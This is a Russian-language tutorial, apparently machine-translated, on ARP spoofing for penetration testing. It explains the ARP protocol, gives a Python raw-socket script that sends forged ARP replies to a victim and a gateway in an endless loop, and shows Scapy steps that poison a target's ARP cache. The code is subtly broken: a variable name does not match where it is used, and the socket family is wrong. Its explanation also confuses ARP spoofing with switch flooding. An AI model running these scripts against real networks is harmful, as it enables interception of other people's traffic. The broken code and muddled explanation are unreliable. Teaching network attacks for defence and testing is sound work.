Учебники

Тестирование проникновения Python — спуфинг ARP

ARP может быть определен как протокол без сохранения состояния, который используется для отображения адресов интернет-протокола (IP) на адреса физических машин.

Работа ARP

В этом разделе мы узнаем о работе ARP. Рассмотрим следующие шаги, чтобы понять, как работает ARP —

  • Шаг 1 — Во-первых, когда машина хочет связаться с другим, она должна искать в своей таблице ARP физический адрес.

  • Шаг 2 — Если он находит физический адрес машины, пакет после преобразования в правильную длину будет отправлен на желаемую машину

  • Шаг 3 — Но если в таблице не найдена запись для IP-адреса, запрос ARP_request будет транслироваться по сети.

  • Шаг 4. Теперь все машины в сети будут сравнивать транслируемый IP-адрес с MAC-адресом, и если какой-либо из компьютеров в сети идентифицирует адрес, он ответит на ARP_request вместе со своими IP-адресом и MAC-адресом. Такое сообщение ARP называется ARP_reply.

  • Шаг 5 — Наконец, машина, которая отправляет запрос, сохранит пару адресов в своей таблице ARP, и весь обмен данными будет иметь место.

Шаг 1 — Во-первых, когда машина хочет связаться с другим, она должна искать в своей таблице ARP физический адрес.

Шаг 2 — Если он находит физический адрес машины, пакет после преобразования в правильную длину будет отправлен на желаемую машину

Шаг 3 — Но если в таблице не найдена запись для IP-адреса, запрос ARP_request будет транслироваться по сети.

Шаг 4. Теперь все машины в сети будут сравнивать транслируемый IP-адрес с MAC-адресом, и если какой-либо из компьютеров в сети идентифицирует адрес, он ответит на ARP_request вместе со своими IP-адресом и MAC-адресом. Такое сообщение ARP называется ARP_reply.

Шаг 5 — Наконец, машина, которая отправляет запрос, сохранит пару адресов в своей таблице ARP, и весь обмен данными будет иметь место.

Что такое ARP Spoofing?

Это может быть определено как тип атаки, когда злоумышленник отправляет поддельный запрос ARP по локальной сети. ARP Poisoning также известен как ARP Spoofing. Это можно понять с помощью следующих пунктов —

  • Первый спуфинг ARP для перегрузки коммутатора создаст огромное количество фальсифицированных пакетов запросов и ответов ARP.

  • Тогда переключатель будет переведен в режим пересылки.

  • Теперь таблица ARP будет заполнена поддельными ответами ARP, чтобы злоумышленники могли прослушивать все сетевые пакеты.

Первый спуфинг ARP для перегрузки коммутатора создаст огромное количество фальсифицированных пакетов запросов и ответов ARP.

Тогда переключатель будет переведен в режим пересылки.

Теперь таблица ARP будет заполнена поддельными ответами ARP, чтобы злоумышленники могли прослушивать все сетевые пакеты.

Реализация с использованием Python

В этом разделе мы поймем реализацию спуфинга ARP в Python. Для этого нам понадобятся три MAC-адреса — первый от жертвы, второй от атакующего и третий от шлюза. Наряду с этим нам также необходимо использовать код протокола ARP.

Давайте импортируем необходимые модули следующим образом:

import socket
import struct
import binascii

Теперь мы создадим сокет, который будет иметь три параметра. Первый параметр сообщает нам об интерфейсе пакета (PF_PACKET для Linux и AF_INET для Windows), второй параметр сообщает нам, является ли он необработанным сокетом, а третий параметр сообщает нам интересующий нас протокол (здесь 0x0800 используется для IP протокол).

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

Теперь мы предоставим mac-адрес атакующего, жертвы и шлюза —

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

Нам нужно дать код протокола ARP, как показано на рисунке —

code ='\x08\x06'

Два Ethernet-пакета, один для компьютера-жертвы и другой для компьютера-шлюза, были созданы следующим образом:

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

Следующие строки кода в порядке в соответствии с заголовком ARP —

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

Теперь нам нужно дать IP-адреса шлюза и компьютеров-жертв (предположим, у нас есть следующие IP-адреса для шлюза и компьютеров-жертв) —

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

Преобразуйте вышеуказанные IP-адреса в шестнадцатеричный формат с помощью метода socket.inet_aton () .

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

Выполните следующую строку кода, чтобы изменить IP-адрес шлюза.

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

Реализация с использованием Scapy на Kali Linux

Подмена ARP может быть реализована с использованием Scapy в Kali Linux. Выполните следующие шаги, чтобы выполнить то же самое —

Шаг 1: Адрес компьютера злоумышленника

На этом шаге мы найдем IP-адрес компьютера злоумышленника, выполнив команду ifconfig в командной строке Kali Linux.

Шаг 2: Адрес целевой машины

На этом этапе мы найдем IP-адрес целевой машины, выполнив команду ifconfig в командной строке Kali Linux, которую нам нужно открыть на другой виртуальной машине.

Шаг 3: Пинг целевой машины

На этом этапе нам нужно пропинговать целевой компьютер с компьютера атакующего с помощью следующей команды:

Ping –c 192.168.43.85(say IP address of target machine)

Шаг 4: ARP-кеш на целевой машине

Мы уже знаем, что две машины используют пакеты ARP для обмена MAC-адресами, поэтому после шага 3 мы можем выполнить следующую команду на целевой машине, чтобы увидеть кэш ARP:

arp -n

Шаг 5: Создание пакета ARP с использованием Scapy

Мы можем создавать пакеты ARP с помощью Scapy следующим образом:

scapy
arp_packt = ARP()
arp_packt.display()

Шаг 6: Отправка вредоносного пакета ARP с использованием Scapy

Мы можем отправлять вредоносные пакеты ARP с помощью Scapy следующим образом:

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

Шаг 7. Снова проверьте ARP-кеш на целевой машине.

Теперь, если мы снова проверим кэш ARP на целевой машине, то увидим поддельный адрес «1.1.1.1».